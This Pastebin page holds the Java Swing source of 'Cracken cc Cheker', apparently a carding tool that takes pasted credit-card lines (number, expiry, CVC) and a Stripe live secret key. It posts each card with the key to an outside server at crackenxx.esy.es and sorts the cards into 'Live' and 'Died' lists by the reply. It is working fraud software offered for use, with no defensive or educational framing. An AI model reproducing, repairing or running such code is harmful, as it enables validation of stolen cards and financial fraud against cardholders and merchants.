Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package cracken.cheker;
- import java.applet.Applet;
- import java.applet.AudioClip;
- import java.awt.Color;
- import java.awt.Component;
- import java.awt.Container;
- import java.awt.EventQueue;
- import java.awt.Font;
- import java.awt.Graphics;
- import java.awt.Image;
- import java.awt.LayoutManager;
- import java.awt.event.ActionEvent;
- import java.awt.event.ActionListener;
- import java.awt.event.KeyAdapter;
- import java.awt.event.KeyEvent;
- import java.awt.event.KeyListener;
- import java.awt.event.MouseAdapter;
- import java.awt.event.MouseEvent;
- import java.awt.event.MouseListener;
- import java.awt.image.ImageObserver;
- import java.io.BufferedReader;
- import java.io.IOException;
- import java.io.InputStream;
- import java.io.InputStreamReader;
- import java.io.OutputStream;
- import java.io.PrintStream;
- import java.io.Reader;
- import java.net.MalformedURLException;
- import java.net.URL;
- import java.net.URLConnection;
- import java.util.StringTokenizer;
- import java.util.logging.Level;
- import java.util.logging.Logger;
- import javax.swing.BorderFactory;
- import javax.swing.Icon;
- import javax.swing.ImageIcon;
- import javax.swing.JButton;
- import javax.swing.JFrame;
- import javax.swing.JLabel;
- import javax.swing.JOptionPane;
- import javax.swing.JScrollPane;
- import javax.swing.JTextArea;
- import javax.swing.JTextField;
- import javax.swing.UIManager;
- import javax.swing.UnsupportedLookAndFeelException;
- import javax.swing.border.Border;
- public class Cracken_Cc
- extends JFrame {
- boolean boton = true;
- private JButton jButton2;
- private JButton jButton3;
- private JButton jButton4;
- private JLabel jLabel1;
- private JLabel jLabel11;
- private JLabel jLabel2;
- private JLabel jLabel3;
- private JLabel jLabel4;
- private JLabel jLabel5;
- private JLabel jLabel6;
- private JLabel jLabel7;
- private JLabel jLabel9;
- private JScrollPane jScrollPane2;
- private JScrollPane jScrollPane3;
- private JScrollPane jScrollPane4;
- private JLabel lblEstado;
- private JTextArea txtCC;
- private JTextArea txtDied;
- private JButton txtIniciar;
- private JTextArea txtLive;
- private JTextField txtlsk;
- private JTextField txtmount;
- public Cracken_Cc() {
- this.initComponents();
- this.setResizable(false);
- this.setSize(647, 530);
- this.setLocationRelativeTo(null);
- this.txtDied.setEditable(false);
- this.txtLive.setEditable(false);
- }
- private void initComponents() {
- this.txtIniciar = new JButton();
- this.txtmount = new JTextField();
- this.jLabel1 = new JLabel();
- this.jScrollPane2 = new JScrollPane();
- this.txtLive = new JTextArea();
- this.jLabel2 = new JLabel();
- this.jLabel3 = new JLabel();
- this.jScrollPane3 = new JScrollPane();
- this.txtDied = new JTextArea();
- this.jLabel4 = new JLabel();
- this.jScrollPane4 = new JScrollPane();
- this.txtCC = new JTextArea();
- this.txtlsk = new JTextField();
- this.jLabel5 = new JLabel();
- this.jLabel6 = new JLabel();
- this.jLabel7 = new JLabel();
- this.lblEstado = new JLabel();
- this.jLabel9 = new JLabel();
- this.jButton2 = new JButton();
- this.jButton3 = new JButton();
- this.jLabel11 = new JLabel();
- this.jButton4 = new JButton();
- this.setDefaultCloseOperation(3);
- this.setTitle("Cracken cc Cheker");
- this.getContentPane().setLayout(null);
- this.txtIniciar.setText("Iniciar");
- this.txtIniciar.addActionListener(new ActionListener(){
- @Override
- public void actionPerformed(ActionEvent evt) {
- Cracken_Cc.this.txtIniciarActionPerformed(evt);
- }
- });
- this.getContentPane().add(this.txtIniciar);
- this.txtIniciar.setBounds(490, 450, 120, 30);
- this.txtmount.setText("1");
- this.getContentPane().add(this.txtmount);
- this.txtmount.setBounds(360, 420, 36, 30);
- this.jLabel1.setForeground(new Color(51, 0, 255));
- this.jLabel1.setText("LSk");
- this.getContentPane().add(this.jLabel1);
- this.jLabel1.setBounds(270, 60, 30, 14);
- this.txtLive.setColumns(20);
- this.txtLive.setForeground(new Color(51, 204, 0));
- this.txtLive.setRows(5);
- this.jScrollPane2.setViewportView(this.txtLive);
- this.getContentPane().add(this.jScrollPane2);
- this.jScrollPane2.setBounds(260, 290, 350, 120);
- this.jLabel2.setFont(new Font("Tempus Sans ITC", 3, 14));
- this.jLabel2.setForeground(new Color(255, 0, 0));
- this.jLabel2.setText("Died");
- this.getContentPane().add(this.jLabel2);
- this.jLabel2.setBounds(270, 110, 30, 20);
- this.jLabel3.setFont(new Font("Tempus Sans ITC", 0, 18));
- this.jLabel3.setForeground(new Color(0, 204, 0));
- this.jLabel3.setText("Live");
- this.getContentPane().add(this.jLabel3);
- this.jLabel3.setBounds(270, 270, 40, 20);
- this.txtDied.setColumns(20);
- this.txtDied.setForeground(new Color(204, 0, 0));
- this.txtDied.setRows(5);
- this.jScrollPane3.setViewportView(this.txtDied);
- this.getContentPane().add(this.jScrollPane3);
- this.jScrollPane3.setBounds(260, 130, 350, 120);
- this.jLabel4.setFont(new Font("Tahoma", 1, 18));
- this.jLabel4.setText("Credit Card");
- this.getContentPane().add(this.jLabel4);
- this.jLabel4.setBounds(40, 50, 110, 22);
- this.txtCC.setColumns(20);
- this.txtCC.setRows(5);
- this.txtCC.addMouseListener(new MouseAdapter(){
- @Override
- public void mouseClicked(MouseEvent evt) {
- Cracken_Cc.this.txtCCMouseClicked(evt);
- }
- @Override
- public void mousePressed(MouseEvent evt) {
- Cracken_Cc.this.txtCCMousePressed(evt);
- }
- });
- this.txtCC.addKeyListener(new KeyAdapter(){
- @Override
- public void keyTyped(KeyEvent evt) {
- Cracken_Cc.this.txtCCKeyTyped(evt);
- }
- });
- this.jScrollPane4.setViewportView(this.txtCC);
- this.getContentPane().add(this.jScrollPane4);
- this.jScrollPane4.setBounds(10, 80, 230, 379);
- this.getContentPane().add(this.txtlsk);
- this.txtlsk.setBounds(260, 80, 350, 30);
- this.jLabel5.setFont(new Font("Tahoma", 1, 18));
- this.jLabel5.setText("Cantidad ");
- this.getContentPane().add(this.jLabel5);
- this.jLabel5.setBounds(260, 420, 85, 22);
- this.jLabel6.setFont(new Font("Tahoma", 1, 18));
- this.jLabel6.setText("USD");
- this.getContentPane().add(this.jLabel6);
- this.jLabel6.setBounds(420, 420, 40, 22);
- this.jLabel7.setFont(new Font("Tahoma", 1, 18));
- this.jLabel7.setText("Estado : ");
- this.getContentPane().add(this.jLabel7);
- this.jLabel7.setBounds(40, 460, 80, 22);
- this.lblEstado.setFont(new Font("Tahoma", 1, 18));
- this.lblEstado.setText("en pausa...");
- this.getContentPane().add(this.lblEstado);
- this.lblEstado.setBounds(210, 460, 190, 20);
- this.jLabel9.setFont(new Font("Tahoma", 2, 24));
- this.jLabel9.setForeground(new Color(255, 255, 255));
- this.jLabel9.setText(" Cracken CC cheker");
- this.jLabel9.setBorder(BorderFactory.createEtchedBorder());
- this.getContentPane().add(this.jLabel9);
- this.jLabel9.setBounds(30, 10, 560, 34);
- this.jButton2.setText("X");
- this.jButton2.addActionListener(new ActionListener(){
- @Override
- public void actionPerformed(ActionEvent evt) {
- Cracken_Cc.this.jButton2ActionPerformed(evt);
- }
- });
- this.getContentPane().add(this.jButton2);
- this.jButton2.setBounds(550, 110, 39, 16);
- this.jButton3.setText("X");
- this.jButton3.addActionListener(new ActionListener(){
- @Override
- public void actionPerformed(ActionEvent evt) {
- Cracken_Cc.this.jButton3ActionPerformed(evt);
- }
- });
- this.getContentPane().add(this.jButton3);
- this.jButton3.setBounds(550, 270, 39, 16);
- this.jLabel11.setIcon(new ImageIcon(this.getClass().getResource("/cracken/cheker/cracken cc.jpg")));
- this.getContentPane().add(this.jLabel11);
- this.jLabel11.setBounds(0, 0, 640, 500);
- this.jButton4.setText("X");
- this.jButton4.addActionListener(new ActionListener(){
- @Override
- public void actionPerformed(ActionEvent evt) {
- Cracken_Cc.this.jButton4ActionPerformed(evt);
- }
- });
- this.getContentPane().add(this.jButton4);
- this.jButton4.setBounds(200, 60, 39, 16);
- this.pack();
- }
- public void boton() {
- if (this.boton) {
- this.txtIniciar.setText(" Parar");
- this.boton = false;
- } else {
- this.txtIniciar.setText("Iniciar");
- this.boton = true;
- }
- }
- public void POST(String Line) throws Exception {
- try {
- URL url = new URL("http://crackenxx.esy.es/stripe/");
- URLConnection con = url.openConnection();
- con.setDoOutput(true);
- PrintStream ps = new PrintStream(con.getOutputStream());
- int i = 0;
- String[] datos = new String[4];
- String contenidoTexto = new String(Line);
- StringTokenizer st = new StringTokenizer(contenidoTexto, "|");
- while (st.hasMoreTokens()) {
- String line;
- datos[i] = line = st.nextToken();
- ++i;
- }
- ps.print("lsk=" + this.txtlsk.getText());
- ps.print("&cc=" + datos[0]);
- ps.print("&mes=" + datos[1]);
- ps.print("&anio=" + datos[2]);
- ps.print("&cvc=" + datos[3]);
- ps.print("&mount=" + this.txtmount.getText());
- con.getInputStream();
- BufferedReader in = new BufferedReader(new InputStreamReader(con.getInputStream()));
- String line = null;
- while ((line = in.readLine()) != null) {
- if (line.endsWith("Error ")) {
- JOptionPane.showMessageDialog(null, "Es nesesario una lsk");
- this.boton = true;
- this.txtIniciar.setText("Iniciar");
- continue;
- }
- if (line.endsWith("Live ")) {
- this.moneda();
- this.lblEstado.setText("Live");
- this.txtLive.append("Cracken chk " + datos[0] + "|" + datos[1] + "|" + datos[2] + "|" + datos[3] + " $" + this.txtmount.getText() + " USD\n");
- continue;
- }
- if (!line.endsWith("declined ")) continue;
- this.lblEstado.setText("Died");
- this.txtDied.append("Cracken chk " + datos[0] + "|" + datos[1] + "|" + datos[2] + "|" + datos[3] + " $" + this.txtmount.getText() + " USD\n");
- }
- ps.close();
- }
- catch (MalformedURLException e) {
- System.out.println("error 1");
- e.printStackTrace();
- }
- catch (IOException e) {
- JOptionPane.showMessageDialog(null, "No se conecto con el servidor");
- this.boton = true;
- this.txtIniciar.setText("Iniciar");
- }
- }
- public void cuerpo() {
- }
- private void txtIniciarActionPerformed(ActionEvent evt) {
- hilo h = new hilo();
- h.start();
- this.txtIniciar.setText("Iniciar");
- }
- public void moneda() {
- AudioClip sonido = Applet.newAudioClip(this.getClass().getResource("/cracken/cheker/moneda.wav"));
- sonido.play();
- }
- private void txtCCMouseClicked(MouseEvent evt) {
- }
- private void txtCCMousePressed(MouseEvent evt) {
- }
- private void txtCCKeyTyped(KeyEvent evt) {
- }
- private void jButton2ActionPerformed(ActionEvent evt) {
- this.txtDied.setText("");
- }
- private void jButton3ActionPerformed(ActionEvent evt) {
- this.txtLive.setText("");
- }
- private void jButton4ActionPerformed(ActionEvent evt) {
- }
- @Override
- public void update(Graphics g) {
- Image img = this.createImage(this.getWidth(), this.getHeight());
- Graphics gph = img.getGraphics();
- this.paint(gph);
- g.drawImage(img, 0, 0, this);
- }
- public static void main(String[] args) {
- try {
- for (UIManager.LookAndFeelInfo info : UIManager.getInstalledLookAndFeels()) {
- if (!"Nimbus".equals(info.getName())) continue;
- UIManager.setLookAndFeel(info.getClassName());
- break;
- }
- }
- catch (ClassNotFoundException ex) {
- Logger.getLogger(Cracken_Cc.class.getName()).log(Level.SEVERE, null, ex);
- }
- catch (InstantiationException ex) {
- Logger.getLogger(Cracken_Cc.class.getName()).log(Level.SEVERE, null, ex);
- }
- catch (IllegalAccessException ex) {
- Logger.getLogger(Cracken_Cc.class.getName()).log(Level.SEVERE, null, ex);
- }
- catch (UnsupportedLookAndFeelException ex) {
- Logger.getLogger(Cracken_Cc.class.getName()).log(Level.SEVERE, null, ex);
- }
- EventQueue.invokeLater(new Runnable(){
- @Override
- public void run() {
- new Cracken_Cc().setVisible(true);
- }
- });
- }
- public class hilo
- extends Thread {
- @Override
- public void run() {
- try {
- Cracken_Cc.this.boton();
- while (!Cracken_Cc.this.boton) {
- boolean primero = true;
- boolean pause = true;
- String aux = new String();
- String contenidoTexto = new String(Cracken_Cc.this.txtCC.getText());
- StringTokenizer st = new StringTokenizer(contenidoTexto, "\n");
- Cracken_Cc.this.txtCC.setText("");
- while (st.hasMoreTokens()) {
- pause = false;
- String line = st.nextToken();
- if (primero) {
- primero = false;
- Cracken_Cc.this.POST(line);
- aux = line;
- }
- if (aux == line) continue;
- Cracken_Cc.this.txtCC.append(line + "\n");
- }
- if (!pause) continue;
- Cracken_Cc.this.txtIniciar.setText("Iniciar");
- Cracken_Cc.this.lblEstado.setText("en pausa...");
- Cracken_Cc.this.boton = true;
- }
- }
- catch (Exception primero) {
- // empty catch block
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement